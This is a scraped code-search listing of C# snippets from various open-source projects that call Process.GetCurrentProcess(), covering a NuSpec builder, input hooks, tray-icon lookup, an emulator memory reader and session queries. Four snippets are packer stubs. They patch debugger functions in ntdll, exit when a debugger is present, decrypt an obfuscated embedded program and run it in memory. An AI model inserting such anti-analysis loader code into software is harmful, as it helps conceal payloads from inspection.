                                [email protected]"    <file src=""{rf.GetMetadata("FullPath")}"" target=""lib\{TargetFramework}\{rf.GetMetadata("FileName")}{rf.GetMetadata("Extension")}"" />");
                        }
                    }
                }
            }

            sb.AppendLine($"  </files>");

            sb.AppendLine($"</package>  ");

            //Write NuSpec file to /obj directory
            NuSpecFile = Path.Combine(ProjectDirectory, IntermediateOutputPath, Configuration,
                PackageVersionShort + ".nuspec");
            File.WriteAllText(NuSpecFile, sb.ToString());

            Log.LogMessage(sb.ToString());

            //Create dependency file for package in /obj directory
            var dep =
                [email protected]"<dependency id=""{PackageId}"" version=""{PackageVersionFull}"" exclude=""Build,replacedyzers"" />";
            var dependencyFile = Path.Combine(ProjectDirectory, IntermediateOutputPath, Configuration,
                "package_dependency.txt");
            File.WriteAllText(dependencyFile, dep);

            return true;
        }

19 View Source File : HookEngine.cs
License : MIT License
Project Creator : ADeltaX

private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
                using (ProcessModule curModule = curProcess.MainModule)
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

        }

19 View Source File : WindowInBandWrapper.cs
License : MIT License
Project Creator : ADeltaX

public void CreateWindowInBand()
        {
            WNDCLreplacedEX wind_clreplaced = new WNDCLreplacedEX();
            wind_clreplaced.cbSize = Marshal.SizeOf(typeof(WNDCLreplacedEX));
            wind_clreplaced.hbrBackground = (IntPtr)1 + 1;
            wind_clreplaced.cbClsExtra = 0;
            wind_clreplaced.cbWndExtra = 0;
            wind_clreplaced.hInstance = Process.GetCurrentProcess().Handle;
            wind_clreplaced.hIcon = IntPtr.Zero;
            wind_clreplaced.lpszMenuName = _window.replacedle;
            wind_clreplaced.lpszClreplacedName = "WIB_" + Guid.NewGuid();
            wind_clreplaced.lpfnWndProc = Marshal.GetFunctionPointerForDelegate(delegWndProc);
            wind_clreplaced.hIconSm = IntPtr.Zero;
            ushort regResult = RegisterClreplacedEx(ref wind_clreplaced);

            if (regResult == 0)
                throw new Win32Exception(Marshal.GetLastWin32Error());
            _window.ShowActivated = true;

#if RELEASE_UIACCESS
            //Remember to change uiaccess to "true" in app.manifest

            IntPtr hWnd = CreateWindowInBand(
                    (int)(WindowStylesEx.WS_EX_TOPMOST | WindowStylesEx.WS_EX_TRANSPARENT | WindowStylesEx.WS_EX_NOACTIVATE | WindowStylesEx.WS_EX_TOOLWINDOW),
                    regResult,
                    _window.replacedle,
                    (uint)WindowStyles.WS_POPUP,
                    0,
                    0,
                    (int)0,
                    (int)0,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    wind_clreplaced.hInstance,
                    IntPtr.Zero,
                    (int)ZBID.ZBID_UIACCESS);

#else
            //Remember to change uiaccess to "false" in app.manifest

            IntPtr hWnd = CreateWindowInBand(
                    (int)(WindowStylesEx.WS_EX_TOPMOST | WindowStylesEx.WS_EX_TRANSPARENT | WindowStylesEx.WS_EX_NOACTIVATE | WindowStylesEx.WS_EX_TOOLWINDOW),
                    regResult,
                    _window.replacedle,
                    (uint)WindowStyles.WS_POPUP,
                    0,
                    0,
                    (int)0,
                    (int)0,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    wind_clreplaced.hInstance,
                    IntPtr.Zero,
                    (int)ZBID.ZBID_DEFAULT);

#endif

            if (hWnd == IntPtr.Zero)
                throw new Win32Exception(Marshal.GetLastWin32Error());

            new AcrylicBlur(hWnd).EnableBlur();

            HwndSourceParameters param = new HwndSourceParameters
            {
                WindowStyle = 0x10000000 | 0x40000000,
                ParentWindow = hWnd,
                UsesPerPixelOpacity = true
            };

            HwndSource src = new HwndSource(param)
            {
                RootVisual = (Visual)_window.Content
            };
            src.CompositionTarget.BackgroundColor = Colors.Transparent;

            src.ContentRendered += Src_ContentRendered;

            UpdateWindow(hWnd);

            _inBandWindowHandle = hWnd;
        }

19 View Source File : CrmContactRoleProvider.cs
License : MIT License
Project Creator : Adoxio

public static string GetDefaultApplicationName()
			{
				try
				{
					string applicationVirtualPath = HostingEnvironment.ApplicationVirtualPath;

					if (!string.IsNullOrEmpty(applicationVirtualPath)) return applicationVirtualPath;

					applicationVirtualPath = Process.GetCurrentProcess().MainModule.ModuleName;

					int index = applicationVirtualPath.IndexOf('.');

					if (index != -1)
					{
						applicationVirtualPath = applicationVirtualPath.Remove(index);
					}

					if (!string.IsNullOrEmpty(applicationVirtualPath)) return applicationVirtualPath;

					return "/";
				}
				catch
				{
					return "/";
				}
			}

19 View Source File : Utility.cs
License : MIT License
Project Creator : Adoxio

public static string GetDefaultApplicationName()
		{
			try
			{
				string applicationVirtualPath = HostingEnvironment.ApplicationVirtualPath;

				if (!string.IsNullOrEmpty(applicationVirtualPath)) return applicationVirtualPath;

				applicationVirtualPath = Process.GetCurrentProcess().MainModule.ModuleName;

				int index = applicationVirtualPath.IndexOf('.');

				if (index != -1)
				{
					applicationVirtualPath = applicationVirtualPath.Remove(index);
				}

				if (!string.IsNullOrEmpty(applicationVirtualPath)) return applicationVirtualPath;

				return "/";
			}
			catch
			{
				return "/";
			}
		}

19 View Source File : NotifyIcon.cs
License : GNU General Public License v3.0
Project Creator : aduskin

private bool FindNotifyIcon(IntPtr hTrayWnd, ref InteropValues.RECT rectNotify)
        {
            InteropMethods.GetWindowRect(hTrayWnd, out var rectTray);
            var count = (int)InteropMethods.SendMessage(hTrayWnd, InteropValues.TB_BUTTONCOUNT, 0, IntPtr.Zero);

            var isFind = false;
            if (count > 0)
            {
                InteropMethods.GetWindowThreadProcessId(hTrayWnd, out var trayPid);
                var hProcess = InteropMethods.OpenProcess(InteropValues.ProcessAccess.VMOperation | InteropValues.ProcessAccess.VMRead | InteropValues.ProcessAccess.VMWrite, false, trayPid);
                var address = InteropMethods.VirtualAllocEx(hProcess, IntPtr.Zero, 1024, InteropValues.AllocationType.Commit, InteropValues.MemoryProtection.ReadWrite);

                var btnData = new InteropValues.TBBUTTON();
                var trayData = new InteropValues.TRAYDATA();
                var handel = Process.GetCurrentProcess().Id;

                for (uint i = 0; i < count; i++)
                {
                    InteropMethods.SendMessage(hTrayWnd, InteropValues.TB_GETBUTTON, i, address);
                    var isTrue = InteropMethods.ReadProcessMemory(hProcess, address, out btnData, Marshal.SizeOf(btnData), out _);
                    if (!isTrue) continue;
                    if (btnData.dwData == IntPtr.Zero)
                    {
                        btnData.dwData = btnData.iString;
                    }
                    InteropMethods.ReadProcessMemory(hProcess, btnData.dwData, out trayData, Marshal.SizeOf(trayData), out _);
                    InteropMethods.GetWindowThreadProcessId(trayData.hwnd, out var dwProcessId);
                    if (dwProcessId == (uint)handel)
                    {
                        var rect = new InteropValues.RECT();
                        var lngRect = InteropMethods.VirtualAllocEx(hProcess, IntPtr.Zero, Marshal.SizeOf(typeof(Rect)), InteropValues.AllocationType.Commit, InteropValues.MemoryProtection.ReadWrite);
                        InteropMethods.SendMessage(hTrayWnd, InteropValues.TB_GEreplacedEMRECT, i, lngRect);
                        InteropMethods.ReadProcessMemory(hProcess, lngRect, out rect, Marshal.SizeOf(rect), out _);

                        InteropMethods.VirtualFreeEx(hProcess, lngRect, Marshal.SizeOf(rect), InteropValues.FreeType.Decommit);
                        InteropMethods.VirtualFreeEx(hProcess, lngRect, 0, InteropValues.FreeType.Release);

                        var left = rectTray.Left + rect.Left;
                        var top = rectTray.Top + rect.Top;
                        var botton = rectTray.Top + rect.Bottom;
                        var right = rectTray.Left + rect.Right;
                        rectNotify = new InteropValues.RECT
                        {
                            Left = left,
                            Right = right,
                            Top = top,
                            Bottom = botton
                        };
                        isFind = true;
                        break;
                    }
                }
                InteropMethods.VirtualFreeEx(hProcess, address, 0x4096, InteropValues.FreeType.Decommit);
                InteropMethods.VirtualFreeEx(hProcess, address, 0, InteropValues.FreeType.Release);
                InteropMethods.CloseHandle(hProcess);
            }
            return isFind;            
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : Aeroblast

static void Main(string[] args)
        {
            string temp_environment_dir = Environment.CurrentDirectory;
            if (!Directory.Exists("template"))
                Environment.CurrentDirectory = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName);
            Console.WriteLine("UnpackKindleS Ver." + Version.version);
            Console.WriteLine("https://github.com/Aeroblast/UnpackKindleS");
            if (args.Length < 1)
            {
                Console.WriteLine("Usage: <xxx_nodrm.azw3 or xxx.azw.res or the directory> [<output_path>] [switches ...]");
                return;
            }
            if (!Directory.Exists(args[0]) && !File.Exists(args[0]))
            {
                Console.WriteLine("The file or folder does not exist:" + args[0]);
                Console.WriteLine("Usage: <xxx_nodrm.azw3 or xxx.azw.res or the directory> [<output_path>] [switches ...]");
                return;
            }

            foreach (string a in args)
            {
                if (a.ToLower() == "-dedrm") dedrm = true;
                if (a.ToLower() == "--just-dump-res")
                {
                    DumpHDImage(args);
                    end_of_proc = true;
                }
                if (a.ToLower() == "--append-log")
                {
                    append_log = true;
                }
                if (a.ToLower() == "--overwrite")
                {
                    overwrite = true;
                }
                if (a.ToLower() == "--rename-when-exist")
                {
                    rename_when_exist = true;
                }
                if (a.ToLower() == "--rename-xhtml-with-id")
                {
                    rename_xhtml_with_id = true;
                }
            }
            if (!end_of_proc)
                foreach (string a in args)
                {
                    switch (a.ToLower())
                    {
                        case "-batch": ProcBatch(args); break;
                    }
                }
            if (!end_of_proc) ProcPath(args);
            if (append_log)
            {
                Log.Append("..\\lastrun.log");
            }
            else
                Log.Save("..\\lastrun.log");

            Environment.CurrentDirectory = temp_environment_dir;
        }

19 View Source File : MouseHook.cs
License : GNU General Public License v3.0
Project Creator : AgentRev

private static IntPtr SetHook(LowLevelMouseProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_MOUSE_LL, proc,
                  GetModuleHandle(curModule.ModuleName), 0);
            }
        }

19 View Source File : MemoryManager.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public void doMagic()
        {
            List<int> romPtrBaseSuggestions = new List<int>();
            List<int> ramPtrBaseSuggestions = new List<int>();

            var name = Process.ProcessName.ToLower();

            if (name.Contains("project64"))
            {
                DeepPointer[] ramPtrBaseSuggestionsDPtrs = { new DeepPointer("Project64.exe", 0xD6A1C),     //1.6
                    new DeepPointer("RSP 1.7.dll", 0x4C054), new DeepPointer("RSP 1.7.dll", 0x44B5C),        //2.3.2; 2.4
                };

                DeepPointer[] romPtrBaseSuggestionsDPtrs = { new DeepPointer("Project64.exe", 0xD6A2C),     //1.6
                    new DeepPointer("RSP 1.7.dll", 0x4C050), new DeepPointer("RSP 1.7.dll", 0x44B58)        //2.3.2; 2.4
                };

                // Time to generate some addesses for magic check
                foreach (DeepPointer romSuggestionPtr in romPtrBaseSuggestionsDPtrs)
                {
                    int ptr = -1;
                    try
                    {
                        ptr = romSuggestionPtr.Deref<int>(Process);
                        romPtrBaseSuggestions.Add(ptr);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }

                foreach (DeepPointer ramSuggestionPtr in ramPtrBaseSuggestionsDPtrs)
                {
                    int ptr = -1;
                    try
                    {
                        ptr = ramSuggestionPtr.Deref<int>(Process);
                        ramPtrBaseSuggestions.Add(ptr);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }
            }

            if (name.Contains("mupen"))
            {
                Dictionary<string, int> mupenRAMSuggestions = new Dictionary<string, int>
                {
                    { "mupen64-rerecording", 0x008EBA80 },
                    { "mupen64-pucrash", 0x00912300 },
                    { "mupen64_lua", 0x00888F60 },
                    { "mupen64-wiivc", 0x00901920 },
                    { "mupen64-RTZ", 0x00901920 },
                    { "mupen64-rrv8-avisplit", 0x008ECBB0 },
                    { "mupen64-rerecording-v2-reset", 0x008ECA90 },
                };

                ramPtrBaseSuggestions.Add(mupenRAMSuggestions[name]);
            }

            Dictionary<string, int> offsets = new Dictionary<string, int>
            {
                { "Project64", 0 },
                { "Project64d", 0 },
                { "mupen64-rerecording", 0x20 },
                { "mupen64-pucrash", 0x20 },
                { "mupen64_lua", 0x20 },
                { "mupen64-wiivc", 0x20 },
                { "mupen64-RTZ", 0x20 },
                { "mupen64-rrv8-avisplit", 0x20 },
                { "mupen64-rerecording-v2-reset", 0x20 },
                { "retroarch", 0x40 },
            };

            // Process.ProcessName;
            mm = new MagicManager(Process, romPtrBaseSuggestions.ToArray(), ramPtrBaseSuggestions.ToArray(), offsets[Process.ProcessName]);

            isDecomp = mm.isDecomp;
            verificationPtr = new IntPtr(mm.ramPtrBase + mm.verificationOffset);
            verificationData = mm.verificationBytes;
            igtPtr = new IntPtr(mm.ramPtrBase + 0x32D580);

            // Can be found using bzero
            filesPtr = new IntPtr[4];
            filesPtr[0] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 0);
            filesPtr[1] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 1);
            filesPtr[2] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 2);
            filesPtr[3] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 3);

            levelPtr = new IntPtr(mm.ramPtrBase + 0x32DDFA);
            areaPtr = new IntPtr(mm.ramPtrBase + 0x33B249);
            starImagePtr = new IntPtr(mm.ramPtrBase + 0x064F80 + 0x04800);
            redsPtr = new IntPtr(mm.ramPtrBase + 0x3613FD);

            selectedStarPtr = new IntPtr(mm.ramPtrBase + 0x1A81A3);

            romPtr = new IntPtr(mm.romPtrBase + 0);
            romCRCPtr = new IntPtr(mm.romPtrBase + 0x10);

            spawnPointPtr = new IntPtr(mm.ramPtrBase + 0x33B248);
            hpPtr = new IntPtr(mm.ramPtrBase + 0x33B21C);
            menuModifierPtr = new IntPtr(mm.ramPtrBase + 0x33B23A);
            spawnStatusPtr = new IntPtr(mm.ramPtrBase + 0x33B24B);
            igtigtPtr = new IntPtr(mm.ramPtrBase + 0x33B26A);
            levelSpawnPtr = new IntPtr(mm.ramPtrBase + 0x33B24A);

            starsCountPtr = new IntPtr(mm.ramPtrBase + 0x33B218);
            bank13RamStartPtr = new IntPtr(mm.ramPtrBase + 0x33B400 + 4 * 0x13);

            marioObjectPtr = new IntPtr(mm.ramPtrBase + 0x361158);

            var data = Resource.NetBin;
            netMagicPtr = new IntPtr(mm.ramPtrBase + 0x26004);
            netCodePtr = new IntPtr(mm.ramPtrBase + 0x26000);
            netHookPtr = new IntPtr(mm.ramPtrBase + 0x38a3c + 0x245000); // 0x5840c
            netStatesOff = BitConverter.ToUInt32(data, 8) - 0x80000000;

            bool wreplacedet = false;
            if (!wreplacedet)
            {
                try
                {
                    Process.PriorityClreplaced = ProcessPriorityClreplaced.High;
                    wreplacedet = true;
                }
                catch (Exception) { }
            }
            try
            {
                using (Process p = Process.GetCurrentProcess())
                    p.PriorityClreplaced = ProcessPriorityClreplaced.BelowNormal;
            }
            catch (Exception) { }
        }

19 View Source File : LicensePacker.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        static void Main()
        {
            try
            {
                bool IsPresent = false;
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
                if (Debugger.IsAttached || IsDebuggerPresent() || IsPresent || CloseHandleAntiDebug())
                {
                    Environment.Exit(0);
                }
                else
                {
                    if (!File.Exists(Environment.CurrentDirectory + @"\SOS13"))
                    {
                        MessageBox.Show("Please Make a SOS13 file in the current program directory and enter the program license to it to continue.", "License Not Found", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);
                    }
                    else
                    {
                        IntPtr NtdllModule = GetModuleHandle("ntdll.dll");
                        IntPtr DbgUiRemoteBreakinAddress = GetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
                        IntPtr DbgUiConnectToDbgAddress = GetProcAddress(NtdllModule, "DbgUiConnectToDbg");
                        byte[] Int3InvaildCode = { 0xCC };
                        WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 6, 0);
                        WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiConnectToDbgAddress, Int3InvaildCode, 6, 0);
                        string License = File.ReadAllText(Environment.CurrentDirectory + @"\SOS13");
                        if (string.IsNullOrEmpty(License))
                        {
                            Environment.Exit(0);
                        }
                        else
                        {
                            StringBuilder NewLicense = new StringBuilder();
                            for (int c = 0; c < License.Length; c++)
                                NewLicense.Append((char)((uint)License[c] ^ (uint)Convert.FromBase64String("decryptkeyencryption")[c % 4]));
                            StringBuilder ROT13Encoding = new StringBuilder();
                            Regex regex = new Regex("[A-Za-z]");
                            foreach (char KSXZ in NewLicense.ToString())
                            {
                                if (regex.IsMatch(KSXZ.ToString()))
                                {
                                    int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                                    ROT13Encoding.Append((char)C);
                                }
                            }
                            StringBuilder sb = new StringBuilder(); foreach (char c in ROT13Encoding.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
                            var GetTextToHEX = Encoding.Unicode.GetBytes(sb.ToString());
                            var BuildHEX = new StringBuilder();
                            foreach (var FinalHEX in GetTextToHEX)
                            {
                                BuildHEX.Append(FinalHEX.ToString("X2"));
                            }
                            string HashedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(BuildHEX.ToString())));
                            HMACMD5 HMACMD = new HMACMD5();
                            HMACMD.Key = UTF8Encoding.UTF8.GetBytes("LXSO12");
                            string HashedKey2 = UTF8Encoding.UTF8.GetString(HMACMD.ComputeHash(UTF8Encoding.UTF8.GetBytes(HashedKey)));
                            string DecryptedProgram = TqMIJUcgsXjVgxqJ(ProgramToDecrypt, HashedKey2.ToString(), IV);
                            byte[] ProgramToRun = Convert.FromBase64String(DecryptedProgram);
                            replacedembly RunInMemory = replacedembly.Load(ProgramToRun);
                            RunInMemory.EntryPoint.Invoke(null, null);
                        }
                    }
                }
            }
            catch (CryptographicException)
            {
                MessageBox.Show("Sorry, but looks like your license key are invalid.", "Error", MessageBoxButtons.OKCancel, MessageBoxIcon.Error);
            }
        }

19 View Source File : PackStub.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        static void Main()
        {
            IntPtr NtdllModule = GetModuleHandle("ntdll.dll");
            IntPtr DbgUiRemoteBreakinAddress = GetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
            IntPtr DbgUiConnectToDbgAddress = GetProcAddress(NtdllModule, "DbgUiConnectToDbg");
            byte[] Int3InvaildCode = { 0xCC };
            WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 6, 0);
            WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiConnectToDbgAddress, Int3InvaildCode, 6, 0);
            IntPtr KernelModule = GetModuleHandle("kernel32.dll");
            IntPtr IsDebuggerPresentAddress = GetProcAddress(KernelModule, "IsDebuggerPresent");
            IntPtr CheckRemoteDebuggerPresentAddress = GetProcAddress(KernelModule, "CheckRemoteDebuggerPresent");
            byte[] Is_IsDebuggerPresentHooked = new byte[1];
            Marshal.Copy(IsDebuggerPresentAddress, Is_IsDebuggerPresentHooked, 0, 1);
            byte[] Is_CheckRemoteDebuggerPresentHooked = new byte[1];
            Marshal.Copy(CheckRemoteDebuggerPresentAddress, Is_CheckRemoteDebuggerPresentHooked, 0, 1);
            bool IsPresent = false;
            CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
            if (IsDebuggerPresent() || Debugger.IsAttached || Debugger.IsLogging() || IsPresent || CloseHandleAntiDebug()) { Environment.Exit(0); }
            else
            {
                try
                {
                    StringBuilder DecryptEncryptionKey = new StringBuilder();
                    for (int c = 0; c < bPVkaPIHxmHs.Length; c++)
                        DecryptEncryptionKey.Append((char)((uint)bPVkaPIHxmHs[c] ^ (uint)Convert.FromBase64String("decryptkeyencryption")[c % 4]));
                    StringBuilder DecryptIV = new StringBuilder();
                    for (int c = 0; c < fCeZqcYnjRpl.Length; c++)
                        DecryptIV.Append((char)((uint)fCeZqcYnjRpl[c] ^ (uint)Convert.FromBase64String("decryptkeyiv")[c % 4]));
                    string sXQDBlJfKdPY = TqMIJUcgsXjVgxqJ(fMJUcafeoygb, DecryptEncryptionKey.ToString(), DecryptIV.ToString());
                    byte[] AzSLFXWvNQgp = Convert.FromBase64String(sXQDBlJfKdPY.Replace(".", "A").Replace("*", "B").Replace("_", @"S"));
                    replacedembly lnEFUxxAooHc = replacedembly.Load(AzSLFXWvNQgp);
                    lnEFUxxAooHc.EntryPoint.Invoke(null, null);
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        static void Main()
        {
            try
            {
                bool IsPresent = false;
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
                if (Debugger.IsAttached || IsDebuggerPresent() || IsPresent || CloseHandleAntiDebug())
                {
                    Environment.Exit(0);
                }
                else
                {
                    IntPtr NtdllModule = GetModuleHandle("ntdll.dll");
                    IntPtr DbgUiRemoteBreakinAddress = GetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
                    IntPtr DbgUiConnectToDbgAddress = GetProcAddress(NtdllModule, "DbgUiConnectToDbg");
                    byte[] Int3InvaildCode = { 0xCC };
                    WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 6, 0);
                    WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiConnectToDbgAddress, Int3InvaildCode, 6, 0);
                    string HWID = GetHardwareID();
                    StringBuilder DecryptEncryptionKey = new StringBuilder();
                    for (int c = 0; c < HWID.Length; c++)
                        DecryptEncryptionKey.Append((char)((uint)HWID[c] ^ (uint)Convert.FromBase64String("SOS12")[c % 4]));
                    StringBuilder ROT13Encoding = new StringBuilder();
                    Regex regex = new Regex("[A-Za-z]");
                    foreach (char KSXZ in DecryptEncryptionKey.ToString())
                    {
                        if (regex.IsMatch(KSXZ.ToString()))
                        {
                            int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                            ROT13Encoding.Append((char)C);
                        }
                    }
                    string HashedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(ROT13Encoding.ToString())));
                    var GetTextToHEX = Encoding.Unicode.GetBytes(HashedKey);
                    var BuildHEX = new StringBuilder();
                    foreach (var FinalHEX in GetTextToHEX)
                    {
                        BuildHEX.Append(FinalHEX.ToString("X2"));
                    }
                    StringBuilder sb = new StringBuilder(); foreach (char c in BuildHEX.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
                    byte[] keys = MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(sb.ToString()));
                    StringBuilder builder = new StringBuilder();
                    for (int i = 0; i < keys.Length; i++)
                    {
                        builder.Append(keys[i].ToString("x2"));
                    }
                    string DecryptedProgram = TqMIJUcgsXjVgxqJ(ProgramToDecrypt, builder.ToString(), IV);
                    byte[] ProgramToRun = Convert.FromBase64String(DecryptedProgram);
                    replacedembly RunInMemory = replacedembly.Load(ProgramToRun);
                    RunInMemory.EntryPoint.Invoke(null, null);
                }
            }
            catch(CryptographicException)
            {
                MessageBox.Show("Sorry But looks like you are not authorized to use this program.", "Error", MessageBoxButtons.OKCancel, MessageBoxIcon.Error);
            }
        }

19 View Source File : USBPacker.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        private static void Main()
        {
            try
            {
                bool IsPresent = false;
                Program.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
                if (Debugger.IsAttached || Program.IsDebuggerPresent() || IsPresent || Program.CloseHandleAntiDebug())
                {
                    Environment.Exit(0);
                }
                else
                {
                    IntPtr moduleHandle = Program.GetModuleHandle("ntdll.dll");
                    IntPtr procAddress1 = Program.GetProcAddress(moduleHandle, "DbgUiRemoteBreakin");
                    IntPtr procAddress2 = Program.GetProcAddress(moduleHandle, "DbgUiConnectToDbg");
                    byte[] Buffer = new byte[1] { (byte)204 };
                    Program.WriteProcessMemory(Process.GetCurrentProcess().Handle, procAddress1, Buffer, 6U, 0);
                    Program.WriteProcessMemory(Process.GetCurrentProcess().Handle, procAddress2, Buffer, 6U, 0);
                    string USBHWID = GetUSBHardwareID();
                    StringBuilder DecryptEncryptionKey = new StringBuilder();
                    for (int c = 0; c < USBHWID.ToString().Length; c++)
                        DecryptEncryptionKey.Append((char)((uint)USBHWID[c] ^ (uint)Convert.FromBase64String("SOS12")[c % 4]));
                    replacedembly.Load(Convert.FromBase64String(Program.TqMIJUcgsXjVgxqJ(Program.ProgramToDecrypt, Convert.ToBase64String(UTF8Encoding.UTF8.GetBytes(DecryptEncryptionKey.ToString())), Program.IV))).EntryPoint.Invoke((object)null, (object[])null);
                }
            }
            catch
            {
                MessageBox.Show("Sorry But looks like you are not authorized to use this program.", "Error", MessageBoxButtons.OKCancel, MessageBoxIcon.Hand);
            }
        }

19 View Source File : OpenFolderDialog.cs
License : GNU Affero General Public License v3.0
Project Creator : aianlinb

public bool? ShowDialog(Window owner = null)
        {
            ;
            IntPtr hwndOwner = owner != null ? new WindowInteropHelper(owner).Handle : Process.GetCurrentProcess().MainWindowHandle;
            IFileOpenDialog dialog = (IFileOpenDialog)new FileOpenDialog();
            try
            {
                IShellItem item;
                if (!string.IsNullOrEmpty(DirectoryPath))
                {
                    uint atts = 0;
                    if (SHILCreateFromPath(DirectoryPath, out IntPtr idl, ref atts) == 0)
                        if (SHCreateShellItem(IntPtr.Zero, IntPtr.Zero, idl, out item) == 0)
                            dialog.SetFolder(item);
                }
                dialog.SetOptions(FOS.FOS_PICKFOLDERS | FOS.FOS_FORCEFILESYSTEM);
                uint hr = dialog.Show(hwndOwner);
                if (hr == ERROR_CANCELLED)
                    return false;
                if (hr != 0)
                    return null;
                dialog.GetResult(out item);
                item.GetDisplayName(SIGDN.SIGDN_FILESYSPATH, out string path);
                DirectoryPath = path;
                return true;
            }
            finally
            {
                Marshal.ReleaseComObject(dialog);
            }
        }

19 View Source File : OpenFolderDialog.cs
License : GNU Affero General Public License v3.0
Project Creator : aianlinb

public bool? ShowDialog(Window owner = null) {
        ;
        IntPtr hwndOwner = owner != null ? new WindowInteropHelper(owner).Handle : Process.GetCurrentProcess().MainWindowHandle;
        IFileOpenDialog dialog = (IFileOpenDialog)new FileOpenDialog();
        try {
            IShellItem item;
            if (!string.IsNullOrEmpty(DirectoryPath)) {
                uint atts = 0;
                if (SHILCreateFromPath(DirectoryPath, out IntPtr idl, ref atts) == 0)
                    if (SHCreateShellItem(IntPtr.Zero, IntPtr.Zero, idl, out item) == 0)
                        dialog.SetFolder(item);
            }
            dialog.SetOptions(FOS.FOS_PICKFOLDERS | FOS.FOS_FORCEFILESYSTEM);
            uint hr = dialog.Show(hwndOwner);
            if (hr == ERROR_CANCELLED)
                return false;
            if (hr != 0)
                return null;
            dialog.GetResult(out item);
            item.GetDisplayName(SIGDN.SIGDN_FILESYSPATH, out string path);
            DirectoryPath = path;
            return true;
        } finally {
            Marshal.ReleaseComObject(dialog);
        }
    }

19 View Source File : WTSEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public static RemoteSessionInfo GetRemoteSessionInfo()
		{
			RemoteSessionInfo rsi = new RemoteSessionInfo();
			try
			{
				int sessionId = Process.GetCurrentProcess().SessionId;
				StringBuilder sb;
				IntPtr ptr;
				int len;

				if (wtsapi32.WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLreplaced.WTSUserName, out sb, out len))
					rsi.UserName = sb.ToString();
				
				if (wtsapi32.WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLreplaced.WTSDomainName, out sb, out len))
					rsi.Domain = sb.ToString();
				
				if (wtsapi32.WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLreplaced.WTSClientName, out sb, out len))
					rsi.ClientName = sb.ToString();

				if (wtsapi32.WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLreplaced.WTSClientAddress, out ptr, out len))
				{
					WTS_CLIENT_ADDRESS addr = (WTS_CLIENT_ADDRESS)Marshal.PtrToStructure(ptr, typeof(WTS_CLIENT_ADDRESS));
					if (addr.AddressFamily == util.AF_INET)
						rsi.ClientAddress = string.Format("{0}.{1}.{2}.{3}", new object[] { addr.Address[2], addr.Address[3], addr.Address[4], addr.Address[5] });
				}
		
				//if (wtsapi32.WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLreplaced.WTSClientDisplay, out ptr, out len))
				//{
				//    WTS_CLIENT_DISPLAY disp = (WTS_CLIENT_DISPLAY)Marshal.PtrToStructure(ptr, typeof(WTS_CLIENT_DISPLAY));
				//    rsi.ClientHResolution = disp.HorizontalResolution;
				//    rsi.ClientVResolution = disp.VerticalResolution;
				//    rsi.ClientColorDepth = disp.ColorDepth;
				//}
			}
			catch (Exception ex) { TraceLogger.Instance.WriteException(ex); throw; }
			return rsi;
		}

19 View Source File : RecordServiceCore.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public void Start()
		{
			TraceLogger.Instance.WriteLineInfo("Privileges ajusting...");
			bool succeed = WTSEngine.SetProcessPrivileges(Process.GetCurrentProcess().Id,
				bfbd.WindowsAPI.WTS.NtPrivileges.SE_replacedIGNPRIMARYTOKEN_NAME,
				bfbd.WindowsAPI.WTS.NtPrivileges.SE_INCREASE_QUOTA_NAME,
